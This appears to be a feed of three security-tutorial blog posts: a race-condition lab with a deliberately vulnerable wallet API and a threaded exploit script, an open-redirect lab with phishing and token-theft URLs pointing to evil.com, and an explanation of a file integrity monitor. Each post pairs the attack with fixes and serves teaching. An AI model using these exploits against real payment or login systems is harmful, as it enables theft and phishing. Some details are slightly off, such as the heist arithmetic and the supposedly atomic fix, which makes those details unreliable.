Forem: Hafiz Shamnad

Day 21 — The Heist in Milliseconds — Cracking NovaPay with a Race Condition TOCTOU Attack

Hafiz Shamnad — Mon, 09 Mar 2026 05:19:38 +0000

March 9, 2026 — Day 21 of 30 Days of Security Engineering

Picture this: It's a rainy Tuesday afternoon in a nondescript fintech startup's office in San Francisco. The team at NovaPay — a shiny new digital wallet app — is celebrating their latest milestone: 10,000 users onboarded, with seamless withdrawals powering the growth. Their API is "bulletproof," they say. But unbeknownst to them, a subtle flaw lurks in the shadows: a race condition vulnerability, specifically a Time-of-Check to Time-of-Use (TOCTOU) bug in the withdrawal endpoint. It's not a flashy SQL injection or XSS; it's a silent assassin that exploits concurrency, turning a 2-second delay into a crowbar for digital theft.

In this case study, we'll dive into the breach like a red team op. I'll walk you through the vulnerability discovery, the architecture of our mini-lab (a self-contained "bank" you can spin up), the exploit mechanics, and the fixes that turn this house of cards back into Fort Knox. By the end, you'll have hands-on code, a live demo frontend, and the tools to hunt these bugs in your own systems. Think of it as a tiny CTF challenge wrapped in a heist story — because security isn't just code; it's narrative.

The Setup: NovaPay's House of Cards

NovaPay's core flow is simple: Users hit /withdraw?amount=300 to pull funds from their wallet. The server peeks at the balance (say, $1,000), nods approvingly, then — crucially — pauses for 2 seconds to simulate real-world friction like database commits or fraud scans. Only then does it deduct the cash.

Sounds airtight? In a single-threaded world, maybe. But users don't withdraw in isolation. What if five requests flood in at once? All five "peek" the $1,000 balance and pass the check before any deduction hits. Boom: $1,500 vanishes from a $1,000 account. The bank's ledger? A chaotic -$500.

This is TOCTOU in action: The Time of Check (balance >= amount?) happens, but by the Time of Use (deduct!), the state has shifted. No locks, no atomicity — just a shared dictionary begging for concurrency chaos.

Severity: Critical (CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization). In the wild, this has drained accounts (think double-spending in crypto) and earned bug bounties from $5K to $30K.

Lab Architecture: Your Personal Bank Heist Simulator

We've containerized this as a full-stack lab: A FastAPI backend (vulnerable by design) + a sleek React-like HTML frontend for "legit" banking and exploit controls. Spin it up locally, play the user, then flip to attacker mode.

race_condition_lab/
│
├── server_vulnerable.py     # The flawed NovaPay API
├── index.html               # Interactive banking UI + exploit panel
├── exploit.py               # Python script for scripted attacks (bonus)
├── server_fixed_lock.py     # Fix #1: Threading locks
├── server_fixed_atomic.py   # Fix #2: Atomic subtraction
├── requirements.txt         # FastAPI, Uvicorn, Requests
└── README.md                # Quickstart

Quickstart: Boot the Bank

Clone & Install:

   mkdir race_condition_lab && cd race_condition_lab
   pip install fastapi uvicorn requests

requirements.txt:

   fastapi
   uvicorn
   requests

Fire Up the Server:

   uvicorn server_vulnerable:app --reload --port 8000

API live at http://127.0.0.1:8000. CORS enabled for the frontend.

Launch the UI:
Open index.html in your browser (serves from file:// or host via python -m http.server 8080). It auto-fetches balance and transactions.
Test Legit:
- Hit /balance: {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
- Withdraw $300 via UI: Success, balance drops to $700.

Now, the fun begins.

The Flaw Exposed: Vulnerable Server Code

Here's the heart of the breach — server_vulnerable.py. Notice the fatal gap: Check, sleep, deduct. No synchronization.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import time

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_methods=["*"],
    allow_headers=["*"],
)

# Simulated database — shared state, no locks
wallet = {
    "balance": 1000,
    "owner": "Alex Johnson",
    "account": "****4291",
    "transactions": []
}

@app.get("/")
def home():
    return {"message": "NovaPay Banking API"}

@app.get("/balance")
def balance():
    return {
        "balance": wallet["balance"],
        "owner": wallet["owner"],
        "account": wallet["account"],
        "transactions": wallet["transactions"][-10:]
    }

@app.post("/withdraw")
def withdraw(amount: int):
    # ⚠️ VULNERABILITY: Check-then-act race condition
    # The balance check and deduction are NOT atomic
    if wallet["balance"] >= amount:
        # Simulate real-world processing delay (DB call, fraud check, etc.)
        time.sleep(2)
        # By the time we get here, another request may have already
        # deducted the balance — but we already passed the check above!
        wallet["balance"] -= amount
        tx = {
            "id": len(wallet["transactions"]) + 1,
            "type": "debit",
            "amount": amount,
            "status": "success",
            "timestamp": time.strftime("%H:%M:%S")
        }
        wallet["transactions"].append(tx)
        return {
            "status": "success",
            "withdrawn": amount,
            "new_balance": wallet["balance"],
            "transaction_id": tx["id"]
        }
    return {
        "status": "failed",
        "message": "Insufficient funds",
        "balance": wallet["balance"]
    }

@app.post("/deposit")
def deposit(amount: int):
    wallet["balance"] += amount
    tx = {
        "id": len(wallet["transactions"]) + 1,
        "type": "credit",
        "amount": amount,
        "status": "success",
        "timestamp": time.strftime("%H:%M:%S")
    }
    wallet["transactions"].append(tx)
    return {"status": "success", "new_balance": wallet["balance"]}

@app.post("/reset")
def reset():
    wallet["balance"] = 1000
    wallet["transactions"] = []
    return {"status": "reset", "balance": 1000}

The frontend (index.html) is a polished banking dashboard: Balance hero, withdraw/deposit forms, transaction history. But scroll down — there's an "Exploit Panel" for the attack, complete with concurrent request launcher, live logs, and theft stats. (Full HTML code below; it's ~500 lines of CSS/JS magic for that pro feel.)

The Heist: Exploiting the Race Window

As the attacker (let's call you "ShadowWire," a curious pentester), you recon the API with Burp or curl. Balance check? Clean. Single withdraw? Fine. But load testing reveals the crack.

Attack Timeline: The Crowbar in Action

t=0s: 5 threads hit /withdraw?amount=300
     All read balance=1000 → All pass "if >=300"

t=2s: Delays end sequentially
     Thread1: 1000-300=700 ✓
     Thread2: 700-300=400 ✓
     Thread3: 400-300=100 ✓
     Thread4: 100-300=-200 ✓ (no check!)
     Thread5: -200-300=-500 ✗ (but 4 already succeeded)

Net: $1,200 stolen from $1,000. Bank? -$500. ShadowWire walks with $900 profit.

Hands-On Exploit #1: UI Attack Panel

In the frontend's "Race Condition Lab" panel:

Set amount=$300, threads=4.
Hit "🚀 Launch Attack".
Watch the log:

  [*] Target balance: $1,000
  [*] Firing 4 simultaneous requests for $300 each...
  [✓] Request 1: SUCCESS — withdrew $300, balance now $700
  [✓] Request 2: SUCCESS — withdrew $300, balance now $400
  [✗] Request 3: FAILED — Insufficient funds
  [+] VULNERABILITY CONFIRMED: Over-withdrew by $300!

Balance refreshes to $400 (wait, what?). You just "stole" $300 extra. Reset via /reset and retry with more threads for bigger hauls.

The JS uses Promise.all for concurrency — pure browser-based TOCTOU.

Hands-On Exploit #2: Scripted Fury (`exploit.py`)

For automation (or chaining in a Burp Turbo Intruder setup):

import threading
import requests
import time

TARGET = "http://127.0.0.1:8000/withdraw"
THREADS = 5
AMOUNT = 300

results = []

def attack(thread_id):
    print(f"Thread {thread_id} sending request")
    r = requests.post(TARGET, params={"amount": AMOUNT})
    results.append(r.json())
    print(f"Thread {thread_id} response: {r.json()}")

def main():
    threads = []
    start = time.time()
    for i in range(THREADS):
        t = threading.Thread(target=attack, args=(i,))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()
    end = time.time()
    print(f"\nAttack completed in {round(end-start,2)} seconds")
    print("\nResults:")
    for r in results:
        print(r)
    # Fetch final balance
    bal_r = requests.get("http://127.0.0.1:8000/balance")
    print(f"Final balance: {bal_r.json()['balance']}")

if __name__ == "__main__":
    main()

Run: python exploit.py. Output? Five "successes," balance in the red. Scale THREADS to 10 for mayhem.

The Autopsy: Why the Vault Cracked

Non-atomic ops on shared state. The if check reads a snapshot; the deduct writes to a mutated version. In production? Same with non-transactional DBs. Real hits: Ether's DAO hack (millions lost to races), Ticketmaster oversells, eBay coupon clones.

Detection? Fuzz with:

Burp Intruder/Turbo: Cluster bomb on threads.
Scripts: Threading/asyncio for Python/Go.
Load Tools: wrk -t10 -c100, k6 scripts.

The Counter-Heist: Fortifying NovaPay

Fix #1: Lock It Down (`server_fixed_lock.py`)

Wrap the critical section in a threading.Lock(). Only one withdraw at a time — serializes the race.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import threading
import time

app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])

wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
lock = threading.Lock()

# ... (home, balance, deposit, reset unchanged)

@app.post("/withdraw")
def withdraw(amount: int):
    with lock:  # Atomic block
        if wallet["balance"] >= amount:
            time.sleep(2)  # Delay still happens, but serialized
            wallet["balance"] -= amount
            tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
            wallet["transactions"].append(tx)
            return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}
        return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}

Tradeoff: Throughput drops under load. Fine for low-traffic, but scale with Redis locks.

Fix #2: Atomic Math (`server_fixed_atomic.py`)

Ditch the check-delay-deduct. Compute new balance first, reject if negative. No window.

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])

wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}

# ... (home, balance, deposit, reset unchanged)

@app.post("/withdraw")
def withdraw(amount: int):
    new_balance = wallet["balance"] - amount
    if new_balance < 0:
        return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}
    wallet["balance"] = new_balance  # Single write
    tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
    wallet["transactions"].append(tx)
    return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}

Production gold: Wrap in DB transactions.

BEGIN TRANSACTION;
UPDATE accounts SET balance = balance - 300 WHERE id = 1 AND balance >= 300;
-- If rows_affected == 0, rollback (insufficient funds)
COMMIT;

Lab Screenshot

Real-World Echoes & Hunt Tips

Incidents: 2010s flash crashes from racey trades; 2021 Poly Network $600M crypto drain (races in bridges).
Bounties: HackerOne pays big for TOCTOU in payments (e.g., $20K on Stripe clones).
Pro Tip: Assume concurrency. Test with chaos engineering (e.g., Gremlin for delays).

Epilogue: Lessons from the Shadows

NovaPay's "heist" reminds us: Security is timing. Validate and act atomically, or adversaries will thread their way in. Locks for simplicity, atomics for speed, transactions for scale. Design for the storm — concurrent users are the norm.

Reset your lab, swap in a fix, and re-attack. Does it hold? Tweak the sleep to 5s for drama. For extra polish:

Visual Diagram: Mermaid timeline (code below — paste into mermaid.live).
Burp Demo: Use Turbo Intruder with the exploit.py logic.
Dockerize: Want a one-command CTF? Reply — I'll script it.

sequenceDiagram
    participant A as Attacker Threads
    participant S as Server (Shared Wallet)
    Note over A,S: t=0: All check balance=1000
    A->>S: if 1000 >= 300? (x5)
    S-->>A: Yes (x5)
    Note over A,S: t=2s: Sequential deducts
    A->>S: balance -=300 (Thread1)
    S-->>A: 700
    A->>S: balance -=300 (Thread2)
    S-->>A: 400
    ... (continues to negative)

This lab demonstrated a TOCTOU race condition in a banking withdrawal system.

Multiple concurrent requests exploited a delay between balance verification and deduction.

The attack allowed withdrawing more money than available.

Mitigation requires atomic operations or synchronization mechanisms.

Day 20 — A Deep Dive into Open Redirect Vulnerabilities in Flask – From Exploitation to Ironclad Fixes

Hafiz Shamnad — Sun, 08 Mar 2026 05:05:23 +0000

In the world of web security, vulnerabilities often lurk in the seemingly innocuous corners of your code—like a simple redirect that trusts user input a little too much. Open Redirects are one such "simple" issue, but their impact can ripple into phishing epidemics, credential theft, and OAuth hijackings. In this detailed writeup, we'll dissect the vulnerability step by step: what it is, why it happens in Flask apps, how attackers weaponize it, and—most importantly—how to fortify your code against it. I'll include expanded code examples, real-world attack vectors, and even a quick lab setup to test it yourself.

If you're a developer dipping into security or a pentester honing your skills, this is your hands-on guide. Let's build, break, and bulletproof a Flask app together.

What is an Open Redirect Vulnerability?

At its core, an Open Redirect (also known as an unvalidated redirect) happens when a web application allows user-supplied input to dictate where a user gets redirected without proper validation. This input is typically passed via query parameters (e.g., ?next=...), headers, or form data.

Why It's Dangerous

Phishing Superpower: Attackers craft links that masquerade as trusted (e.g., https://yourbank.com/login?next=evil-phish-site.com). Victims see the legit domain in their address bar, log in, and boom—redirected to a fake site harvesting credentials.
Chained Attacks: It's a gateway drug for bigger exploits, like stealing OAuth tokens (e.g., tricking a user into authorizing a malicious app) or bypassing security filters (e.g., redirecting past login walls).
Low Barrier to Entry: No fancy exploits needed—just social engineering and a URL shortener.

According to OWASP, Open Redirects rank in the Top 10 for good reason: they're easy to find (via automated scanners like Burp Suite) and exploit, but often overlooked in code reviews.

Common Triggers in Web Apps

Redirects pop up everywhere: login "next" pages, error handlers, email verification links. In Flask, the redirect() function from flask is the usual suspect—it's convenient but naive if fed raw user input.

Building a Vulnerable Flask App: The Setup

Let's start by creating a minimal vulnerable app. I'll assume you're running Python 3.8+ with Flask installed (pip install flask). Save this as vulnerable_app.py:

from flask import Flask, request, redirect, url_for, render_template_string

app = Flask(__name__)

# Simple in-memory "users" for demo purposes
USERS = {"admin": "password123"}

@app.route("/")
def index():
    return "Welcome to the Vulnerable App! <a href='/login?next=/dashboard'>Login</a>"

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        # Render a basic login form
        return render_template_string("""
        <form method="POST">
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
        """)

    username = request.form.get("username")
    password = request.form.get("password")

    # Dummy auth: always succeed for demo (NEVER DO THIS IN PROD!)
    if username in USERS and password == USERS[username]:
        next_url = request.args.get("next")  # Vulnerable: Trusts user input blindly
        return redirect(next_url or url_for("dashboard"))
    else:
        return "Invalid credentials. Try again."

@app.route("/dashboard")
def dashboard():
    return "Welcome to the Dashboard! You're logged in."

if __name__ == "__main__":
    app.run(debug=True)

Run it with python vulnerable_app.py and visit http://localhost:5000. Click the login link—after "logging in," it redirects to /dashboard harmlessly. But notice the ?next= parameter? That's our entry point for chaos.

The Core Flaw Dissected

request.args.get("next") pulls the query param without sanitization.
redirect(next_url) sends an HTTP 302 with Location: <user_input>, letting the browser follow anywhere.
No checks for scheme (http/https), domain, or even if it's a URL at all.

Pro tip: In production, always log redirects for auditing—Flask's logger can help: app.logger.warning(f"Redirecting to: {next_url}").

Exploiting Open Redirect: Attack Vectors in Action

Exploitation is straightforward but sneaky. Attackers distribute the malicious link via email, SMS, or social media. Here's how it plays out.

Basic Exploitation

Craft the Payload: http://localhost:5000/login?next=https://evil.com/phish
Victim Interaction:
- Victim clicks → Sees legit login page (address bar shows localhost:5000/login?...).
- Enters creds → Submits form.
- Server responds with Location: https://evil.com/phish → Browser jumps there.
Attacker Wins: Victim is now on a phishing page that looks like your app, primed to steal more data.

Test it: Swap evil.com for https://example.com (harmless) and watch the redirect in your browser's Network tab.

Advanced Scenarios

Open Redirects shine in combos. Let's explore:

OAuth Token Theft:
- In apps using OAuth (e.g., "Login with Google"), the callback might redirect via ?redirect_uri=....
- Attacker: yourapp.com/oauth/callback?redirect_uri=https://evil.com/steal-token.
- Flow: User authorizes → Token sent to callback → Redirect leaks token to evil.com.
- Real-world: Facebook's 2018 OAuth bug let attackers steal access tokens this way.
Bypassing Content Security Policy (CSP):
- CSP blocks inline scripts, but redirects can load external resources indirectly.
- Attacker embeds the open redirect in an iframe or link, smuggling malicious JS.
Phishing with URL Obfuscation:
- Use data URLs: ?next=javascript:alert('XSS!') (if JS execution is allowed post-redirect).
- Or protocol-relative: ?next=//evil.com (adapts to http/https seamlessly).
SSRF (Server-Side Request Forgery) Twist:
- If your redirect fetches the URL server-side (rare, but possible), it could probe internal networks.

To simulate: Use tools like curl -v http://localhost:5000/login?next=https://evil.com -d "username=admin&password=password123" and inspect the Location header.

Detection Tools

Burp Suite/ZAP: Intercept requests and fuzz the next param.
Nuclei/Yarn: Scan for open redirects with templates like {{BaseURL}}/login?next=http://{{interactsh-url}}.

Fixing It: From Basic to Battle-Hardened

The fix? Validate, validate, validate. Never redirect to untrusted turf. Here's an evolving approach.

Step 1: Basic Internal-Only Check

Use urlparse to whitelist your domain. Update the login route:

from urllib.parse import urlparse
from flask import url_for

def is_safe_url(target, allowed_hosts=None):
    if not allowed_hosts:
        allowed_hosts = {request.host}  # e.g., 'localhost:5000'

    if not target:
        return False

    parsed = urlparse(target if target.startswith(('http://', 'https://', '/')) else f"http://{target}")
    return parsed.netloc in allowed_hosts or parsed.netloc == ''  # Relative paths OK

@app.route("/login", methods=["GET", "POST"])
def login():
    # ... (auth logic same as before)

    if username in USERS and password == USERS[username]:
        next_url = request.args.get("next")
        if next_url and is_safe_url(next_url):
            return redirect(next_url)
        return redirect(url_for("dashboard"))  # Fallback to safe internal page
    # ... (else clause)

How it Works: Strips to netloc (domain:port). Relative URLs (e.g., /dashboard) parse to empty netloc—safe.
Test: ?next=https://evil.com → Blocked, falls back to dashboard. ?next=/profile → Allowed.

Step 2: Advanced Whitelisting and Edge Cases

For production, level up:

import re
from urllib.parse import urlparse, urljoin

def is_safe_url(target, base_url=request.url_root, allowed_domains=None):
    if not allowed_domains:
        allowed_domains = ['yourdomain.com', 'www.yourdomain.com']  # Your allowlist

    # Reject non-URLs or suspicious schemes
    if not re.match(r'^https?://', target) and not target.startswith('/'):
        return False

    parsed = urlparse(target)

    # Block javascript:, data:, etc.
    if parsed.scheme not in ('http', 'https'):
        return False

    # Relative URL? Resolve against base
    if parsed.netloc == '':
        target = urljoin(base_url, target)
        parsed = urlparse(target)

    # Check domain
    return parsed.netloc.replace('www.', '') in allowed_domains  # Normalize www.

# In login route:
next_url = request.args.get("next")
if next_url and is_safe_url(next_url):
    return redirect(next_url)

Extras:
- Allowlist Over Denylist: Explicitly permit yourdomain.com variants.
- Scheme Enforcement: Force HTTPS to avoid downgrade attacks.
- Path Validation: Add and '/admin' not in parsed.path to block sensitive areas.
- Rate Limiting: Use Flask-Limiter on login to thwart brute-force link spam.

Step 3: Framework Best Practices

Flask-Specific: Use url_for() for all internal links—it's safer than hardcoding.
Session-Based Redirects: Store intended URL in session pre-login, retrieve post-auth (avoids query param altogether).
HTTP Headers: Set X-Frame-Options: DENY and CSP to limit embedding.
OWASP Cheat Sheet: Follow their Unvalidated Redirects for more.

Real-World Examples and Lessons

Google (2014): A ?continue= param in Google Accounts allowed redirects to arbitrary sites, fixed via domain checks.
Facebook (Ongoing): Repeated OAuth redirect bugs led to token leaks; now they enforce strict redirect_uri validation.
Stats: Veracode's 2023 report shows Open Redirects in 5% of scanned apps—low severity, but 20% lead to high-impact chains.

Big takeaway: Even giants slip up. Audit your redirects with grep -r "redirect(" . in your codebase.

Hands-On Lab: Test and Tweak

Run the vulnerable app.
Exploit with a phishing sim (use http://httpbin.org/redirect/3 as "evil").
Apply the fix, re-test.
Bonus: Add WTForms for input validation or integrate with Flask-Security for auth. ## Result Screenshots

Key Takeaways

Trust No Input: User data is a liar—always parse and validate.
Layer Defenses: Basic checks + allowlists + logging = robust.
Proactive Hunting: Scan early (e.g., via GitHub Actions with Semgrep).
Learn by Breaking: Build this lab, then hunt for similar vulns in open-source repos.

Open Redirects remind us: Security isn't about complexity; it's about vigilance.

Day 19 — How I Built a File Integrity Monitor in Python to Detect File Tampering

Hafiz Shamnad — Sat, 07 Mar 2026 05:17:35 +0000

What if one of your critical system files changed right now?

Would you notice?

Attackers rarely need to install complex malware. Often they simply modify existing files — a web server script, a cron job, or a configuration file.

That tiny change can be the difference between a secure system and a persistent backdoor.

This is exactly the problem File Integrity Monitoring solves.

Introduction

Every system administrator or security engineer has faced the same unsettling question at some point: has this file been tampered with? Whether it's a config file silently modified by malware, a binary swapped out during a supply-chain attack, or a web asset defaced by an intruder — unauthorized file changes are one of the most common indicators of compromise.

FIM (File Integrity Monitor) is a lightweight, terminal-native Python tool that answers that question definitively. It uses cryptographic hashing to create a trusted snapshot of your files and then compares future states against that snapshot — flagging any modifications, deletions, or suspicious new additions.

This post walks through how FIM works, how to use it, what features it offers, and the security principles that power it under the hood.

The Security Problem: Why File Integrity Monitoring Matters

Before diving into the code, it's worth understanding why this kind of tool exists in the first place.

Detecting Unauthorized Changes

Attackers who compromise a system often need to modify files to maintain persistence — think webshells dropped into /var/www, backdoors inserted into system binaries, or cron jobs quietly added to /etc/cron.d. A file integrity monitor acts as a silent watchdog. It doesn't prevent the change, but it makes the change impossible to hide.

Compliance Requirements

Many security frameworks mandate file integrity monitoring as a control. PCI-DSS (Requirement 11.5), HIPAA, and NIST 800-53 all reference it as a critical baseline measure. Tools like Tripwire and AIDE have been the enterprise standard for years, but they're heavy, complex to configure, and overkill for a developer's machine, a small server, or a CTF lab environment. FIM fills that gap.

Forensic Baseline

In incident response, one of the first things investigators need is a clean baseline — what did the system look like before the incident? A pre-breach FIM snapshot is invaluable for answering that question quickly.

Architecture Overview

FIM follows a simple pipeline:

Directory → File Scanner → Hash Generator → Baseline Database → Integrity Checker

Files are recursively scanned
Cryptographic hashes are generated
Baseline fingerprints are stored
Future scans compare current hashes against the baseline

5. Differences are reported

How It Works

FIM operates on a simple but cryptographically sound two-phase model.

Phase 1 — Baseline Creation

When you run FIM with the --init flag, it walks the target directory recursively, computes a cryptographic hash of every file, and stores the results in a baseline.json file. This JSON file is your trusted ground truth — a fingerprint of the directory at a known-good point in time.

Each entry in the baseline captures:

The file path — the full path to the file
The hash — a fixed-length digest derived from the file's contents
The algorithm — SHA-256 by default, but configurable
File metadata — size, last-modified timestamp, and permissions

Phase 2 — Integrity Scanning

When you run FIM with the --scan flag, it recomputes hashes of all current files and compares them against the stored baseline. It then reports three categories of change:

Modified — the file still exists, but its hash no longer matches
Deleted — the file was in the baseline but is no longer present on disk
New — the file exists on disk but was not in the baseline

This three-way classification is important. A legitimate software update might add new files; that's different from a file being secretly modified. FIM gives you the full picture.

Cryptographic Hashing: The Engine Behind FIM

At the core of file integrity monitoring is a single idea: a cryptographic hash function produces a deterministic, fixed-length "fingerprint" of any input. Change even a single bit of the input, and the output changes completely and unpredictably. This property — called the avalanche effect — is what makes hashing ideal for tamper detection.

FIM supports three hashing algorithms, each with different trade-offs:

SHA-256 (Default)

SHA-256 is part of the SHA-2 family, standardized by NIST. It produces a 256-bit (64-character hex) digest and is the gold standard for general-purpose integrity checking. It's used in TLS certificates, Git commit IDs, and Bitcoin. For most use cases, SHA-256 is the right choice — fast, widely supported, and collision-resistant for all practical purposes.

MD5

MD5 is fast and produces a compact 128-bit digest. However, it is cryptographically broken — researchers have demonstrated practical collision attacks, meaning two different files can produce the same MD5 hash. FIM includes MD5 for legacy compatibility and speed in low-risk contexts, but it should not be relied upon in security-sensitive scenarios. Use SHA-256 or BLAKE2 instead.

BLAKE2b

BLAKE2 is a modern hashing algorithm designed to be faster than SHA-256 while maintaining strong security guarantees. It's the recommended choice when you need high throughput — scanning large directories with many big files, for example. BLAKE2b is used in WireGuard, libsodium, and numerous modern cryptographic systems.

Summary:

Algorithm	Digest Size	Speed	Security	Best For
SHA-256	256-bit	Fast	Strong	General use (default)
MD5	128-bit	Fastest	Broken	Legacy / low-stakes
BLAKE2b	512-bit	Fastest	Very Strong	Large-scale scanning

Code explanation

1. Shebang and Header

#!/usr/bin/env python3

This tells Linux/Unix systems to run the script using Python 3 from the system environment.

The large ASCII block is simply branding and documentation for the tool:

FIM - File Integrity Monitor v2.0
Developed by Hafiz Shamnad
SHA-256 | MD5 | Blake2 Hashing Security

It has no functional effect, but improves CLI UX.

2. Importing Required Libraries

import os
import sys
import hashlib
import json
import argparse
import time
import datetime
import platform
import stat
from pathlib import Path

These are all standard Python libraries.

What each one does:

Library	Purpose
`os`	filesystem traversal
`sys`	Python runtime info
`hashlib`	cryptographic hashing
`json`	storing baseline database
`argparse`	command-line arguments
`time`	delays in watch mode
`datetime`	timestamps
`platform`	system info for banner
`stat`	file permission extraction
`pathlib`	path handling

No external dependencies means the tool runs on any Python installation.

3. ANSI Color Class (Terminal Styling)

class C:

This class defines ANSI escape codes used for terminal colors.

Example:

RED = "\033[31m"
GREEN = "\033[32m"
RESET = "\033[0m"

These allow output like:

[ERROR] printed in red
[SUCCESS] printed in green

Purpose:

improves CLI readability
highlights security events

For example:

MODIFIED files → yellow
DELETED files → red
NEW files → blue

4. Global Configuration

BASELINE_FILE = "baseline.json"
REPORT_FILE   = "fim_report.txt"

These define:

where the baseline database is stored
where exported reports are written

The baseline file contains trusted fingerprints of files.

5. Banner Printing

def print_banner():

This function prints the startup banner with:

tool name
developer name
hashing algorithms
system OS
Python version

Example output:

File Integrity Monitor v2.0
Developed by Hafiz Shamnad
Linux · Python 3.11

It uses the color class to make the UI look professional.

6. Helper Functions

Several small utilities simplify the code.

tag()

def tag(label, color, text):

Creates labeled messages like:

[ERROR] Baseline not found

section()

Prints section headers such as:

──────────────
CREATE BASELINE
──────────────

progress_bar()

Displays scanning progress:

████████████░░░░ 65%

This improves UX when hashing many files.

human_size()

Converts bytes into readable sizes.

Example:

2048 → 2 KB
1048576 → 1 MB

Useful when showing file metadata.

file_meta()

def file_meta(path):

Collects metadata about files:

file size
last modification time
permissions

Example returned structure:

{
  "size": 1024,
  "modified": "2026-03-07 12:33:11",
  "permissions": "0o644"
}

This metadata is stored in the baseline.

7. Hashing Engine

ALGORITHMS = {
    "sha256": lambda: hashlib.sha256(),
    "md5": lambda: hashlib.md5(),
    "blake2b": lambda: hashlib.blake2b(),
}

This dictionary allows dynamic selection of hashing algorithms.

Users can run:

--algo sha256
--algo md5
--algo blake2b

Hashing a File

def hash_file(path, algorithm="sha256"):

Steps:

Create hash object
Open file in binary mode
Read file in chunks
Update hash

while chunk := f.read(8192):
    h.update(chunk)

Reading chunks prevents memory overload for large files.

Finally:

return h.hexdigest()

This returns the final cryptographic fingerprint.

Example:

9f86d081884c7d659a2feaa0c55ad015...

8. Directory Scanning Engine

def scan_directory(directory, algorithm="sha256", extensions=None)

This function performs the core filesystem analysis.

Steps:

1. Walk through the directory

for root, _, files in os.walk(directory):

os.walk() recursively traverses folders.

2. Filter by extension

If the user specifies:

--ext .php .html

only those files are scanned.

3. Hash each file

file_hash = hash_file(path, algorithm)

4. Store results

Each file is saved as:

results[path] = {
    "hash": file_hash,
    "algorithm": algorithm,
    "size": size,
    "modified": time,
    "permissions": perms
}

This becomes part of the baseline database.

9. Creating the Baseline

def create_baseline(directory)

This function performs Phase 1 of file integrity monitoring.

Steps:

Scan the directory
Generate hashes
Collect metadata
Store results

The baseline structure looks like:

{
 "_meta": {
   "created": "2026-03-07",
   "algorithm": "sha256",
   "file_count": 120
 },
 "files": {
   "/var/www/index.php": {
      "hash": "...",
      "size": 1200
   }
 }
}

Finally it writes this to:

baseline.json

This file becomes the trusted snapshot.

10. Integrity Checking

def check_integrity(directory)

This is Phase 2.

The function:

Loads baseline.json
Scans current files
Compares hashes

Three outcomes are detected.

Modified files

Hash mismatch.

[MODIFIED] config.php

Deleted files

File existed before but is missing now.

[DELETED] login.php

New files

File exists but not in baseline.

[NEW] backdoor.php

11. Exporting Reports

def _export_report()

Creates a forensic report:

fim_report_20260307_134512.txt

Report includes:

modified files
deleted files
new files
timestamps

Useful for incident response documentation.

12. File Verification

def verify_file(filepath)

Allows checking a single file.

Example:

python fim.py /etc --verify /etc/passwd

The tool:

hashes the file
compares it to baseline
prints result

Example output:

✔ Hash matches baseline

✘ Hash differs from baseline

13. Watch Mode (Continuous Monitoring)

def watch_mode(directory, interval=30)

This runs integrity checks repeatedly.

Example:

python fim.py /var/www --watch

Workflow:

Scan #1
Scan #2
Scan #3

If a file changes:

2 issues detected!

This approximates real-time monitoring.

Steps:

Print banner
Parse CLI arguments
Call the appropriate function

Example flow:

User command
      ↓
argparse parses flags
      ↓
init / scan / watch / verify
      ↓
FIM executes requested operation

Installation

FIM has no external dependencies — it runs on Python 3.8+ using only the standard library.

# Clone or download fim.py, then run directly:
python fim.py --help

That's it. No pip install, no virtual environment, no configuration files.

Usage Guide

Creating a Baseline

Before FIM can detect anything, you need to establish a trusted baseline of your directory. Run this once on a known-clean system:

python fim.py --init /var/www/html

This scans the directory, hashes every file with SHA-256, and saves the results to baseline.json.

With a different hashing algorithm:

python fim.py --init /etc --algo blake2b

Filtering by file type:

python fim.py --init /var/www --ext .php .html .js .py

Filtering by extension is useful when you only care about specific file types — for example, monitoring only PHP and HTML files in a web root, ignoring uploaded media assets.

Scanning for Changes

Once a baseline exists, run a scan at any time to detect changes:

python fim.py --scan /var/www/html

FIM will compare current file hashes against the baseline and print a color-coded report. Modified files appear in yellow, deleted files in red, and new files in blue.

Export the scan results to a file:

python fim.py --scan /var/www/html --export

This generates a timestamped report (e.g., fim_report_20250307_143022.txt) useful for auditing or incident documentation.

Verifying a Single File

Sometimes you just need to quickly check one specific file:

python fim.py --verify /etc/passwd

FIM hashes the file, displays its metadata, and checks whether the hash matches the baseline — all in one shot.

Viewing Baseline Info

To inspect the metadata of an existing baseline without running a full scan:

python fim.py --info .

This shows when the baseline was created, how many files are indexed, the total size, and which algorithm was used.

Continuous Watch Mode

For active monitoring, FIM can run in a loop — rescanning on a configurable interval and alerting you immediately when something changes:

python fim.py --watch /var/www --interval 60

This rescans every 60 seconds and prints a timestamped status line. A clean scan shows green; any detected changes show red with a count of issues. Press Ctrl+C to stop.

Watch mode is particularly useful when you're doing live incident response and want real-time awareness of filesystem changes.

Feature Breakdown

Feature	Flag	Description
Create baseline	`--init`	Hash all files and save as trusted snapshot
Scan for changes	`--scan`	Compare current state against baseline
Single file verify	`--verify FILE`	Hash and check one file immediately
Baseline info	`--info`	Show metadata about the saved baseline
Continuous watch	`--watch`	Real-time monitoring loop
Watch interval	`--interval N`	Set rescan interval in seconds (default: 30)
Algorithm choice	`--algo`	Choose sha256 / md5 / blake2b
